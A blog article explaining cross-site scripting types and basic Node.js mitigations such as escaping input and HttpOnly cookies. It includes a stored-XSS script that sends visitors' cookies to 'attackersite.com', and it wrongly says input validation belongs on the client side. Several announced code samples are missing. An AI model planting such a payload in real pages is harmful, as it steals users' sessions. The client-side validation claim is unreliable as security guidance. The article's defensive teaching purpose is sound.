There's a lot to learn about web application vulnerability mitigation. And the amount of information to master in the web development domain is already intimidating enough. Nevertheless, we must go to great lengths to keep ourselves up to date on the latest trends in vulnerabilities and exploits.
So in this article, which is part of a series exploring vulnerabilities on the web, we'll discuss one particularly pernicious kind that we must deal with to secure our applications: cross-site scripting, or XSS.
Making Sense of XSS
Let's start with the basics. If you don't know what cross-site scripting is or have never seen it in action, don't worry. It's simple to understand.
Most web applications rely on user input and data manipulation as their main conduits for functionality. After all, providing these kinds of interactions is their features' core service. Some examples are social media, bank portals, and music services.
Due to the nature of these interactions, web applications are inherently vulnerable to bad actors who seek to profit from the legitimate users of those services. Suppose any of these bad actors can, in some way, manipulate or influence what other users might see or be able to interact with on their site. In that case, they can trick a legitimate user into unintentionally surrendering their data or guide them away to a malicious site.
Now, the avenues that attackers might use to take advantage of our platforms are plentiful and diverse. But unfortunately, no global mitigation strategy really exists, at least not one that's effective enough. Therefore, it's necessary to have a robust understanding of concepts like injection, scripting, HTTP protocols, and the development stack they're working on to tackle this issue competently. Additionally, one must understand the context of every vulnerability to mitigate the threats effectively.
Imagine, if you will, a user profile page in a social network. This user has allowed comments on his posts, and the developer did not think to escape the user input.
A bad actor could input the following:
<script> window.location='http://attackersite.com/?cookie=' + document.cookie </script>
This simple script code would then be stored in the database and executed every time a user visits the page. This means that victims will send their cookies to the attacker's website just by loading the profile page. The attacker waits for the cookies to arrive, the code runs stealthily, and the victims are none the wiser.
Types of XSS Vulnerabilities
As I mentioned before, these attacks are not exclusive to comments or any specific user input. Attackers can very well inject these exploits into other areas of the application by various means.
Let's explore some of them.
Reflected XSS Attacks
These attacks are the simplest forms of cross-site scripting and depend heavily on tactics like phishing and social engineering to exploit their victims. The attacker simply needs to create a URL with a malicious query string injected into it and convince the victim to click on it by masking it or using another means of deception.
Once the victim clicks and the browser redirects to the website, the script executes and sends the cookies without the victim realizing something is wrong.
This kind of attack is very effective, especially when the attacker has developed sophisticated means to deceive users into clicking on links. Therefore, it is essential to protect websites against them.
Persistent XSS Attacks
The pattern we explored in the previous section is an excellent example of a persistent cross-site scripting attack. These attacks take advantage of the social features that exist on many websites where users can input and share data between them.
DOM-Based XSS Attacks
Finally, DOM-based cross-site scripting attacks are similar to reflected cross-site scripting attacks in that they depend on manipulating the victim into clicking on a malicious link. In this case, however, the link alters the target website's DOM directly and injects malicious scripts into the otherwise safe features on the page.
An example would look something like this.
In this case, 'default' would be customarily used to populate or set the default index on a select element or a picker. Then, when the victim clicks on the link, the select element is modified to execute the script when they interact with it.
Mitigating XSS Vulnerabilities in Node.js
Most of these attacks depend either on a weak or nonexistent escape policy on user input or on the execution of scripts on the site.
Therefore, the first step in cross-site scripting attack mitigation should be minimizing the amount of untrusted user input, escaping the rest, and employing robust policies against scripts running on the site. Of course, this means developers must apply XSS mitigation measures on the Node.js platform.
A straightforward way to mitigate a lot of potential vulnerabilities in your application is to replace manual input with elements that restrict what kind of data a user can input. For example, if you only expect a user to input integers, consider using a select element with the possible values.
This approach can reduce the amount of work needed to protect your applications from attacks. However, do keep in mind that sufficiently experienced and motivated attackers can circumvent these solutions.
We must perform input validation to ensure that only secure data reaches the server. Therefore, validation of user input should happen on the client side.
Something as simple as this can go a long way to protecting us against script injection:
var v = require('validator');
var escaped_input = v.escape(user_input);
One way to achieve this in Node.js is the following:
In your code, it would look something like this:
HttpOnly instructs the browser not to expose cookies to any script.
If you want to read more about cross-site scripting in general and get a more robust understanding of the logistics behind it, I encourage you to read our pillar post about it here. Additionally, you can explore our security solution platform and find out how you can mitigate all vulnerabilities in your application effortlessly here.
Protecting applications from the myriad vulnerabilities that exist daily can be an arduous task. Moreover, these vulnerabilities, which reside in our own platforms, can be the single most significant liability to the stability and security of our businesses and our client's data.
Many exploits can affect our platforms in different ways. For example, threats like DDOS can temporarily bring services down and affect our quality of service. Meanwhile, sophisticated SQL injection attacks can wreak havoc on databases and even facilitate the takeover of servers. Understanding this is important because we can't eliminate all threats since we only have so much time and energy.
This post was written by Juan Reyes. Juan is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.